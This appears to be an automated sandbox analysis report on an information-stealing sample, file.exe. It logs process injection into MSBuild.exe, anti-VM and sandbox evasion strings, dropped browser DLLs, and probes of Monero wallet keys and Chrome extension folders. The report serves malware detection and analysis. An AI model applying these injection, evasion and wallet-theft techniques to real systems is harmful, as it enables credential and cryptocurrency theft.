Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00418A63 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00418A63

Source: sql[1].dll.1.dr	Static PE information: real checksum: 0x0 should be: 0x263795
Source: file.exe	Static PE information: real checksum: 0x9dd5f should be: 0x99e0a

Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: sql[1].dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ADB142 push ecx; ret	0_2_00ADB155
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ADB2E0 push ds; retn 0003h	0_2_00ADB395
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ADB3A6 push ds; retn 0003h	0_2_00ADB395
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ADB45C push ds; retf 0003h	0_2_00ADB45D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ADD9F5 push 0000004Ch; iretd	0_2_00ADDA06
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC9DB5 push ecx; ret	0_2_00AC9DC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A86EF4 push ecx; ret	0_2_00A86F07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042F262 push ecx; ret	1_2_0042F275
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00422E59 push esi; ret	1_2_00422E5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041DED5 push ecx; ret	1_2_0041DEE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00432715 push 0000004Ch; iretd	1_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C39B536 push ecx; ret	1_2_6C39B549

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00418A63

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 0.2.file.exe.aacae0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.aacae0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.a80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6616, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, MSBuild.exe	Binary or memory string: DIR_WATCH.DLL
Source: file.exe, MSBuild.exe	Binary or memory string: SBIEDLL.DLL
Source: file.exe, MSBuild.exe	Binary or memory string: API_LOG.DLL
Source: MSBuild.exe, 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL21:49:5921:49:5921:49:5921:49:5921:49:5921:49:59DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

1_2_0040180D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 2460			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 1611			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 8.5 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

1_2_00410DDB

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9980F FindFirstFileExW,	0_2_00A9980F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	1_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

1_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410FBA GetSystemInfo,wsprintfA,

1_2_00410FBA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.1.dr	Binary or memory string: VMware
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.1.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.1.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.1.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.1.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.1.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3029810076.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.1.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.1.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.1.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.1.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.1.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.1.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.1.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.1.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.1.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.1.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.1.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.1.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.1.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.1.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.1.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.1.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-68390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-68406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-69742

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A87672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00A87672

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00418A63

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9A39E mov eax, dword ptr fs:[00000030h]	0_2_00A9A39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A90C7E mov ecx, dword ptr fs:[00000030h]	0_2_00A90C7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A81FE0 mov edi, dword ptr fs:[00000030h]	0_2_00A81FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAD38D mov eax, dword ptr fs:[00000030h]	0_2_00AAD38D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAD382 mov eax, dword ptr fs:[00000030h]	0_2_00AAD382
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAD36A mov eax, dword ptr fs:[00000030h]	0_2_00AAD36A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC458A mov eax, dword ptr fs:[00000030h]	0_2_00AC458A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004014AD mov eax, dword ptr fs:[00000030h]	1_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040148A mov eax, dword ptr fs:[00000030h]	1_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004014A2 mov eax, dword ptr fs:[00000030h]	1_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004186A9 mov eax, dword ptr fs:[00000030h]	1_2_004186A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004186AA mov eax, dword ptr fs:[00000030h]	1_2_004186AA

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A9C99D GetProcessHeap,

0_2_00A9C99D

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A87360 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00A87360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A87672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00A87672
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A877FF SetUnhandledExceptionFilter,	0_2_00A877FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A8D7C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00A8D7C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041D12A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0041D12A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041DAAC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0041DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042774E SetUnhandledExceptionFilter,	1_2_0042774E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C39B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_6C39B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C39B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C39B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C54AC62

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6616, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040F54A _memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

1_2_0040F54A

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		1_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		1_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 670000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 671000	Jump to behavior
